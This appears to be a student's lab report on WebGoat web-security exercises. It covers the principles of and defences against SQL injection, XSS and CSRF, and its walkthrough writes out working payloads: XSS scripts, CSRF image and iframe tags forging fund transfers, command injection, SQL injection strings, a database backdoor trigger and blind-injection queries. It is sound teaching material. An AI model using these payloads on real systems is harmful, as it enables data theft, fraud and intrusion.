20154307 《网络对抗》Exp9 web安全基础实践

20154307 《网络对抗》Exp9 web安全基础实践

1、实验后问题

(1)SQL注入攻击原理,如何防护

攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者能够在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非受权的任意查询,从而进一步获得相应的数据信息。web

防护:利用输入规则限制进行防护,不容许特殊字符输入。不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接。sql

(2)XSS攻击的原理,如何防护

攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,因此容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。数据库

防护:相似于saol注入的防护,永远不相信用户的输入。须要对用户的输入进行处理,只容许输入合法的值,其它值一律过滤掉。若是不能对用户数据进行严格的过滤,那咱们也须要对标签进行转换。浏览器

(3)CSRF攻击原理,如何防护

攻击原理:(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。安全

防护:服务器

经过 referer、token 或者 验证码 来检测用户提交。cookie

尽可能不要在页面的连接中暴露用户隐私信息。网络

对于用户修改删除等操做最好都使用post 操做 。xss

避免全站通用的cookie,严格设置cookie的域。web安全

2、实验内容

安装WebGoat的具体过程我就不描述了,我安装的版本是7.1

1.xss注入攻击

(1).Phishing with XSS

在文本框里写一个钓鱼网站,大体代码以下:

以后在框中输入的帐号密码就会被盗取

成功了。。。

(2).Stored XSS Attacks

在邮件中用alert随便输入一些什么。。。

大体效果以下。。

这个比较较简单呐

(3).Reflected XSS Attacks

反射型XSS,又称非持久型XSS,这种攻击方式的注入代码是从目标服务器经过错误信息、搜索结果等等方式“反射”回来的。同时这种攻击方式具备一次性。攻击者经过电子邮件等方式将包含注入脚本的恶意连接发送给受害者,当受害者点击该连接时,注入脚本被传输到目标服务器上,而后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

好比攻击者将以下连接发送给受害者:http://www.targetserver.com/search.asp?input=<script>alert("FB is best");</script>

效果以下:

当受害者点击这个连接的时候,注入的脚本被看成搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被看成搜索的关键词而嵌入。这样,当用户获得搜索结果页面后,这段脚本也获得了执行。

2.CSRF攻击

(1).Cross Site Request Forgery (CSRF)

这个实践是利用cookie冒名登陆,用代码伪造请求

在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=4000"/>就会发出一个转钱的请求,盗取钱财。(288和900都是题目提供的数据)

交易记录

(2).CSRF Prompt By-Pass

在message框中输入代码<iframe src="attack?Screen=298&menu=900&transferFunds=10000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">

点击confirm后,把后面的内容改成transferfunds=CONFIRM,而后就ok了。

3.sql注入

(1).Command Injection

按F12,编辑网页的源代码,在accesscontrolmatrix.help后面加上"& netstat -an & ipconfig",点击view后显示以下界面。。

(2).Numeric SQL Injection

仍是摁F12,在选择框内,把代码改为以下。。由于1=1是永真式,因此永远成立。。。

点击go便可看到全部地方的天气。。

(3).Log Spoofing

在文本框中输入4307%0d%0aLogin Succeeded for username: admin

攻击成功

(4).String SQL Injection

sql注入,在文本框中输入' or 1=1 --,点击go,攻击成功

(5).Database Backdoors

stage1:输入102获得102的信息

进行sql注入102; update employee set salary=1500000,点击submit。

stage2:建立一个后门,出入如下代码:
102;CREATE TRIGGER fbBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154307@163.com' WHERE userid = NEW.userid

(6).Blind Numeric SQL Injection

咱们的目标是查找出pins表中cc_number为1111222233334444的员工的pin值,提示pin值为整数。

因而咱们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > N );(N为任意整数)进行判断,此处能够采用二分法,慢慢找到该整数为2364

(7).Blind String SQL Injection

咱们的目标是猜想cc_number为4321432143214321的name,name为varchar。

首先我输入101;select * from pins where cc_number=4321432143214321 and length(name)=N(N能够是任意数),此处仍是用了二分法,最后得出名字字符串的长度是4。

而后101;select * from pins where cc_number=4321432143214321 and substring(name,x,1)='$'(此处x表明第几个字母,$能够是任意大小写字母)能够肯定每一个位置上的字母,然而要一个一个测试过去岂不是太麻烦,因此此处咱们仍是采用二分法。。

输入101;select * from pins where cc_number=4321432143214321 and (substring(name,1,1)>='A' and substring(name,1,1)<='Z' ),进一步肯定每一位上的字母的范围,从而肯定他们。。。

最后查找结果为Jill。。

3、实验心得体会

本次实验难度不是很大,每个实验网上都有对应的教程,即便不理解英文也能在网上找到教学,本次实验能学习的知识也不少,结合了一些现实场景,为咱们从此的实战也打下了必定的基础。本次实验仍是挺有意思的,最后一次实验了,竟然还有点依依不舍。。。。

相关文章
相关标签/搜索